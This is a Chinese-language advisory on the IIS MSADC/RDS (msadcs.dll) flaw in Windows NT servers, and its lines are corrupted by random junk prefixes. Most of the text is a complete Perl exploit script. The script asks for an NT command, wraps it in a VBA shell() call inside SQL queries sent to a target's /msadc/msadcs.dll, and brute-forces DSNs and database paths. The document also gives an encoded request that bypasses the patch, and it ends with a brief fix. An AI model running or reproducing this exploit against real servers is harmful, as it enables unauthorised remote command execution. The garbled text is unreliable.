IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W}5xmz N'g>MBdI 涉及程序：
Zy o[(`y Microsoft NT server
<)u`~$n2 5qr'.m 描述：
b]x4o #t 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Pb?$t oJ4 AIQjB 详细：
/4g1zrU 如果你没有时间读详细内容的话，就删除:
l y(>8 F c:\Program Files\Common Files\System\Msadc\msadcs.dll
o| #Qu8Lk 有关的安全问题就没有了。
c
)G3k/T5 (CsD*U`h 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
qMLD)r L huJ&]"C 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
jg.QRny^ 关于利用ODBC远程漏洞的描述，请参看:
b*`lk2oMa/ ZaL. !g http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm KTP8?Q"n0 "J4WzA%i 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`-3O w[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~y/
nlb! 13@|w1 /Z 这里不再论述。
* g 6n qWO Ds 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
EJsM(iG]~M .w0s%T,8}^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s;3= {e. 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
M7@2^G]p ^~3SSLS4" r]b_@hT', #将下面这段保存为txt文件，然后: "perl -x 文件名"
B]uc<`f CE/Xfh'44 #!perl
jV4\A
#
\'|> p/5I # MSADC/RDS 'usage' (aka exploit) script
mGJ asn #
Ib+Y~
XYR # by rain.forest.puppy
FQqI<6; #
D^=J|7e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
go'-5 in( # beta test and find errors!
Mdl{}P0) RLLTw ?]$ use Socket; use Getopt::Std;
cNM3I,o7 getopts("e:vd:h:XR", \%args);
4iKgg[)7`= X{\F;Cb* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Oo A|8!CFa aFS, GiB if (!defined $args{h} && !defined $args{R}) {
)XYv}U print qq~
fS s4ZXC Usage: msadc.pl -h <host> { -d <delay> -X -v }
p$PKa.Y3 -h <host> = host you want to scan (ip or domain)
X)7x<?DAy -d <seconds> = delay between calls, default 1 second
YbTxn="_ -X = dump Index Server path table, if available
H;YP8MoQ -v = verbose
U$_xUG -e = external dictionary file for step 5
~ xft Hm%;=`:' Or a -R will resume a command session
rvnT6Ve A'jP7 P ~; exit;}
P] UJ0b "4uS3h2r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$`)/0{qY- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ug+io mZ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
L#+ q]j+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0tEYU:Qu $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J"=vE= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^yyC
[Mz ?TU }~} if (!defined $args{R}){ $ret = &has_msadc;
t.`@{R$hoA die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9J9) AV fjs
[f'L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q\
U:~g3 . "cmd /c ";
iZaI_\"__ $in=<STDIN>; chomp $in;
<gJU?$ $command="cmd /c " . $in ;
?kB2iU_f+ N4L|;? if (defined $args{R}) {&load; exit;}
j( R WO j^^Ap print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=jX8 .K4] &try_btcustmr;
1:f9J L1Iz<> print "\nStep 2: Trying to make our own DSN...";
}>VG~u8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
E#u l IgD }Ub6eXf(2 print "\nStep 3: Trying known DSNs...";
%jJ>x3$F &known_dsn;
9hOJvQ2U] fO0XA"= print "\nStep 4: Trying known .mdbs...";
+eFFSt &known_mdb;
2@%$;.
FE2f'e if (defined $args{e}){
&Ncz v"TM print "\nStep 5: Trying dictionary of DSN names...";
m0c P ( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rzh#CnL3 !+L/Khw/ C print "Sorry Charley...maybe next time?\n";
]y ,==1To exit;
?i06f,- `eIenA ##############################################################################
f"u%J/e & W!6qqi{ sub sendraw { # ripped and modded from whisker
.)<(Oj|4 sleep($delay); # it's a DoS on the server! At least on mine...
rz@=pR : my ($pstr)=@_;
-lhLA`6_R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
WC.t_"@ die("Socket problems\n");
kX>f^U{j if(connect(S,pack "SnA4x8",2,80,$target)){
LAd\ Tvms select(S); $|=1;
,0hA'cp print $pstr; my @in=<S>;
JWMpPzs select(STDOUT); close(S);
jC7&s$>Q"g return @in;
IF DZf x } else { die("Can't connect...\n"); }}
AO=h
23ZI *T~Ve;3h; ##############################################################################
}MHCd)78b mw='dFt sub make_header { # make the HTTP request
$ep.-I> my $msadc=<<EOT
O }(VlR2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^V#@QPK9 User-Agent: ACTIVEDATA
6 b BB/yd Host: $ip
t=-SH^$SR Content-Length: $clen
|=$-Wu Connection: Keep-Alive
+eX@U;J,g qeL5D* ADCClientVersion:01.06
.R9IL-3fO Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?ON-+u !-, t'GF( --!ADM!ROX!YOUR!WORLD!
Z| V`B ` Content-Type: application/x-varg
EpFQ|.mQ Content-Length: $reqlen
8[J}CdS Um: Hr jw EOT
dO4{|( z ; $msadc=~s/\n/\r\n/g;
AiK return $msadc;}
aEW WF N CC@.MA@9 N ##############################################################################
?_Q/}@` &9"-`-[e: sub make_req { # make the RDS request
Hrz f'a|^ my ($switch, $p1, $p2)=@_;
> &p0d 0 my $req=""; my $t1, $t2, $query, $dsn;
5J Lu2P #:^YI
c if ($switch==1){ # this is the btcustmr.mdb query
-$WYj " $query="Select * from Customers where City=" . make_shell();
l?F b ='# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@ )-$kk* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&d5ia+ # <~n$1aA elsif ($switch==2){ # this is general make table query
G F5^\Rf $query="create table AZZ (B int, C varchar(10))";
E5N{j4\F $dsn="$p1";}
QNxl/y\l0 $.GOZqMs elsif ($switch==3){ # this is general exploit table query
;Hj~n+ $query="select * from AZZ where C=" . make_shell();
bf!M#QOk? $dsn="$p1";}
H)>;/#!r- sH? /E6 elsif ($switch==4){ # attempt to hork file info from index server
Ldl 5zc $query="select path from scope()";
y !!E\b= $dsn="Provider=MSIDXS;";}
V` 7FKL@" ^pe{ b9c elsif ($switch==5){ # bad query
R#DwF, $query="select";
5GPo*Q pl $dsn="$p1";}
8G5m{XTS( e&qh9mlE $t1= make_unicode($query);
^4`Px/& $t2= make_unicode($dsn);
aBw2f[mo $req = "\x02\x00\x03\x00";
* C6a?] $req.= "\x08\x00" . pack ("S1", length($t1));
rn=m\Gv
e $req.= "\x00\x00" . $t1 ;
'qF#<1& $req.= "\x08\x00" . pack ("S1", length($t2));
`A,g] 1C: $req.= "\x00\x00" . $t2 ;
A%{W{UP8N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|R#"Th6mH! return $req;}
n Ml%'[u nYa*b=[. ##############################################################################
-atGlu2 ^+m+zd_ sub make_shell { # this makes the shell() statement
!Wy[).ZAf return "'|shell(\"$command\")|'";}
O=dJi9;`#_ }LijnHH. ##############################################################################
LI6hE cM= Wf&W^Q sub make_unicode { # quick little function to convert to unicode
)h8\u_U my ($in)=@_; my $out;
=pk)3<GwF for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<@Fy5k-%. return $out;}
't9hXzAfW D.1J_Y=9 ##############################################################################
o, !T2&} eU N"w,@y sub rdo_success { # checks for RDO return success (this is kludge)
C$@yG)Pj my (@in) = @_; my $base=content_start(@in);
3,Q^&
1 if($in[$base]=~/multipart\/mixed/){
#zR bx return 1 if( $in[$base+10]=~/^\x09\x00/ );}
sqS=qC return 0;}
XxaGp95so ~35U]s@v ##############################################################################
/2HN>{F^Y ?l $Nf@- sub make_dsn { # this makes a DSN for us
7zv1 wb my @drives=("c","d","e","f");
viAMr"z print "\nMaking DSN: ";
jOyvDY9\ foreach $drive (@drives) {
PGARXw+ print "$drive: ";
^_%kE%I my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
F1Hh7
F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N?m0US u* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
if ]No e $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4L73]3& return 0 if $2 eq "404"; # not found/doesn't exist
bug
Ot7 if($2 eq "200") {
-Z?Vd!H: foreach $line (@results) {
bQZ*r {g return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0^8)jpL$<9 } return 0;}
W( Uu@^ 4#'(" #R ##############################################################################
|K^"3`SJ H -xFiF sub verify_exists {
W7\&~IWub my ($page)=@_;
Cb_oS4vM my @results=sendraw("GET $page HTTP/1.0\n\n");
\ AC|?/sH return $results[0];}
>R2SQA o d|*"I Fe ##############################################################################
CY&
hIh~S@ <uc1D/~^: sub try_btcustmr {
ej O}t:}P my @drives=("c","d","e","f");
zP;cTF(C my @dirs=("winnt","winnt35","winnt351","win","windows");
)Y8",Ig ZJjTzEV%^B foreach $dir (@dirs) {
{ h KjD"? print "$dir -> "; # fun status so you can see progress
?9X&tK)E- foreach $drive (@drives) {
ne>g?"Pex{ print "$drive: "; # ditto
wCHR7X0*b $reqlen=length( make_req(1,$drive,$dir) ) - 28;
thqS*I'#g $reqlenlen=length( "$reqlen" );
NKmoG\* $clen= 206 + $reqlenlen + $reqlen;
R+~cl;#G6 Fbp{,V@F2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w?,M}=vg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y=T'WNaL)0 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
}rdIUlVO\ c0Dmq)HK? ##############################################################################
\)48904^ ol W|$? sub odbc_error {
HSIv Whg?p my (@in)=@_; my $base;
s ncIqsZ my $base = content_start(@in);
34QfgMy H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
dk==? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T'fcc6D5p $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=5s F"L;b $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9 F^;! return $in[$base+4].$in[$base+5].$in[$base+6];}
sIl33kmv print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f2,1<^{ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
XIWm>IQ[) $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
o."rxd ;_:Oo l, ##############################################################################
sK 2
e& 9% IlW sub verbose {
#2:a[
~Lf my ($in)=@_;
vLO& Lpv return if !$verbose;
rz(0:vxwA print STDOUT "\n$in\n";}
?v-1zCls m4[g6pNx~ ##############################################################################
? /JBt
/b Fn^C{p^ sub save {
>bUj *#< my ($p1, $p2, $p3, $p4)=@_;
- /c7 n F open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9Z6C8J v print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
dP>w/$C} close OUT;}
ba3-t;S
ba@ =^Fa; ##############################################################################
7rHS^8'H& p$k\m |t sub load {
x>~p;z#VX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SLhEc open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!D o,>gO @p=<IN>; close(IN);
ap}5ElMR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
MbXq`% $target= inet_aton($ip) || die("inet_aton problems");
m/`IGT5J print "Resuming to $ip ...";
f '6|OsVQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5v^L9!`@%v if($p[1]==1) {
(XH2Sy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)uL r?$qe $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9B +wYJp my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M)cGz$Q| if (rdo_success(@results)){print "Success!\n";}
nVD Xj else { print "failed\n"; verbose(odbc_error(@results));}}
T!Sj<,r+j elsif ($p[1]==3){
vRPS4@9' if(run_query("$p[3]")){
.~}z4r print "Success!\n";} else { print "failed\n"; }}
j|e[s ? d elsif ($p[1]==4){
QT#6'>&7-b if(run_query($drvst . "$p[3]")){
nB5Am^bP print "Success!\n"; } else { print "failed\n"; }}
H0*5_OJ!i exit;}
dZGbC 9 MF[z -7 ##############################################################################
j K8'T_Pah V8O.3fo`[` sub create_table {
&!35/:~uD my ($in)=@_;
4B?!THjk $reqlen=length( make_req(2,$in,"") ) - 28;
#\bP7a + $reqlenlen=length( "$reqlen" );
>m _v5K $clen= 206 + $reqlenlen + $reqlen;
& 2EBk= X my @results=sendraw(make_header() . make_req(2,$in,""));
yoqa@ V return 1 if rdo_success(@results);
O Df4+& u my $temp= odbc_error(@results); verbose($temp);
0p fnV% return 1 if $temp=~/Table 'AZZ' already exists/;
2:$ k return 0;}
!5x
Ly6=} S)%_we LW7 ##############################################################################
A6ewdT?>, ,f:
jioY sub known_dsn {
z#< P} } # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
oj}" H>tTp my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v\ZBv zd "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
zzvlI66e "banner", "banners", "ads", "ADCDemo", "ADCTest");
|ZU#IQVQfn S*%iiD) foreach $dSn (@dsns) {
uC~g#[I QM print ".";
m%QqmTH next if (!is_access("DSN=$dSn"));
|ia@,*KD if(create_table("DSN=$dSn")){
r9ke,7? print "$dSn successful\n";
6kv V if(run_query("DSN=$dSn")){
hb uZaxo< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dyQh:u
- print "Something's borked. Use verbose next time\n";}}} print "\n";}
4Y
tk!oS` !W1eUY ##############################################################################
Xy#V Q{! JZ` L% sub is_access {
.#^0pv! my ($in)=@_;
dDKqq(9(` $reqlen=length( make_req(5,$in,"") ) - 28;
8U.$FMx : $reqlenlen=length( "$reqlen" );
za,2r^ $clen= 206 + $reqlenlen + $reqlen;
Q2C)tVK+ my @results=sendraw(make_header() . make_req(5,$in,""));
!Y;<:zx5 my $temp= odbc_error(@results);
)-&nxOP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>,h1 N$A+ return 0;}
SNvb1& F>:%Cyo0! ##############################################################################
7tH]*T9e> CKTrZxR" sub run_query {
qmmv7== my ($in)=@_;
BV9 *s $reqlen=length( make_req(3,$in,"") ) - 28;
Xa`(;CLW? $reqlenlen=length( "$reqlen" );
xaXV ^ZM3 $clen= 206 + $reqlenlen + $reqlen;
= cfm= + my @results=sendraw(make_header() . make_req(3,$in,""));
@)sc6
*lnW return 1 if rdo_success(@results);
$
u2Cd4 my $temp= odbc_error(@results); verbose($temp);
FU@uH
U5fd return 0;}
:$"7-a %f R'EW7}& ##############################################################################
TC-f% 1( ItK sub known_mdb {
X*Z5 P my @drives=("c","d","e","f","g");
1<uw U( my @dirs=("winnt","winnt35","winnt351","win","windows");
B- Y +F my $dir, $drive, $mdb;
'TEyP56 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R}J-nJlb ' yN PhI # this is sparse, because I don't know of many
J>v$2?w`w my @sysmdbs=( "\\catroot\\icatalog.mdb",
>rwYDT#m] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Js}tZ\+P75 "\\system32\\certmdb.mdb",
0|2%# E "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
J 1-):3A > =!AL ,: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?;8M^a/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
6=>7M
b$ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,o&<WMD "\\cfusion\\cfapps\\security\\realm_.mdb",
96W4 c]NT "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|h1^G v "\\cfusion\\database\\cfexamples.mdb",
a!.!2a&t "\\cfusion\\database\\cfsnippets.mdb",
;4d.)-<No_ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*IlQ5+3I "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?1m ,SK "\\cfusion\\brighttiger\\database\\cleam.mdb",
}W
"(c YN_ "\\cfusion\\database\\smpolicy.mdb",
v:P!(`sF "\\cfusion\\database\cypress.mdb",
i$#,XFFp~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
TczXHT}G "\\website\\cgi-win\\dbsample.mdb",
GUCM4jVT^ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%)IrXz>Zh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
m cMb*?] ); #these are just
A*Q[k 9B foreach $drive (@drives) {
-HT L 5 foreach $dir (@dirs){
z 1vni'%J foreach $mdb (@sysmdbs) {
4 ? {*( print ".";
-~'k P /E^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s<{GpWT8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
zMU68vwM if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Orc>.~+f%A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{@\/a } else { print "Something's borked. Use verbose next time\n"; }}}}}
2$ VTu+ Wy)('EM foreach $drive (@drives) {
)tPl<lb foreach $mdb (@mdbs) {
?W<cB`J print ".";
Y?.gfEXSQo if(create_table($drv . $drive . $dir . $mdb)){
#! @m y print "\n" . $drive . $dir . $mdb . " successful\n";
<W|1<=z( if(run_query($drv . $drive . $dir . $mdb)){
,$i<@2/=m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{Vl "m 2 } else { print "Something's borked. Use verbose next time\n"; }}}}
SbJh(V-pr }
)GCLK<,swu Et0&E ##############################################################################
y(a}IM3~ tnRJ#[Io sub hork_idx {
' WnpwY print "\nAttempting to dump Index Server tables...\n";
tz8t9lb[ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ey = 4 b $reqlen=length( make_req(4,"","") ) - 28;
coO.kTO; $reqlenlen=length( "$reqlen" );
#]5)]LF1q $clen= 206 + $reqlenlen + $reqlen;
S W-0h4 my @results=sendraw2(make_header() . make_req(4,"",""));
;Yu>82o.: if (rdo_success(@results)){
- ~0'a my $max=@results; my $c; my %d;
sBB:$X for($c=19; $c<$max; $c++){
}u7D9_KU $results[$c]=~s/\x00//g;
&u4Ve8# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
z{V8@q/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
T ;%+ ]:w< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
>!G5]?taa $d{"$1$2"}="";}
E $&;]a foreach $c (keys %d){ print "$c\n"; }
2E([#Pzb } else {print "Index server doesn't seem to be installed.\n"; }}
HqDa 2q4 x[a'(5PwY ##############################################################################
1Y2a* J "
xxXZGUp sub dsn_dict {
4=
$!_,. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t pz=} q while(<IN>){
^X(_zinN" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[sptU3,2U next if (!is_access("DSN=$dSn"));
TQ2i{e if(create_table("DSN=$dSn")){
gTyW#verh$ print "$dSn successful\n";
sK[Nti0 if(run_query("DSN=$dSn")){
(T;1q^j print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?bCTLt7k print "Something's borked. Use verbose next time\n";}}}
]N_140N~ print "\n"; close(IN);}
?xf~!D aH9L|BN* ##############################################################################
)rS ^F<C 2PI #ie4 sub sendraw2 { # ripped and modded from whisker
B4 <_" 0 sleep($delay); # it's a DoS on the server! At least on mine...
OT"lP(, my ($pstr)=@_;
~CJYQFt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R =QM; die("Socket problems\n");
0YHYx n if(connect(S,pack "SnA4x8",2,80,$target)){
3 dY6;/s print "Connected. Getting data";
p\)h",RkA open(OUT,">raw.out"); my @in;
np&HEh 6 select(S); $|=1; print $pstr;
5Wj5I S/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>0ssza close(OUT); select(STDOUT); close(S); return @in;
Zm5nLxM } else { die("Can't connect...\n"); }}
]#+5)[N$> <6gU2@1 ##############################################################################
M`q#,Y?3^I J~:kuf21 sub content_start { # this will take in the server headers
uJ7,rq my (@in)=@_; my $c;
:nTkg[49pJ for ($c=1;$c<500;$c++) {
ud!r*E if($in[$c] =~/^\x0d\x0a/){
C= M? if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&8.z$} m else { return $c+1; }}}
l!Nvn$h m return -1;} # it should never get here actually
AZ}%MA; q N/`g?B[ ##############################################################################
o(BYT9|.kw 1. xw'i sub funky {
~91uk3ST? my (@in)=@_; my $error=odbc_error(@in);
wP+'04H0 if($error=~/ADO could not find the specified provider/){
8HB?=a2Q<' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>E{#HPpBi exit;}
"F04c|oR<X if($error=~/A Handler is required/){
FUH *]U print "\nServer has custom handler filters (they most likely are patched)\n";
z, :+Oc exit;}
$d5&~I if($error=~/specified Handler has denied Access/){
]q@rGD85K print "\nServer has custom handler filters (they most likely are patched)\n";
7?)m(CFy exit;}}
)bF)RL Z if\k[O 1T6 ##############################################################################
9? v) ^D0/H
N sub has_msadc {
p3i
qW,[@ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;o&_:]S my $base=content_start(@results);
I]s:Ev [~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
r(748Qc4f? return 0;}
,2Sv1v$ 7ZrJ#n8?ih ########################
8j({=xbg& ?yda.<"g9Y #IcT
@( 解决方案：
N}e(. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<PH3gyC 2、移除web 目录: /msadc
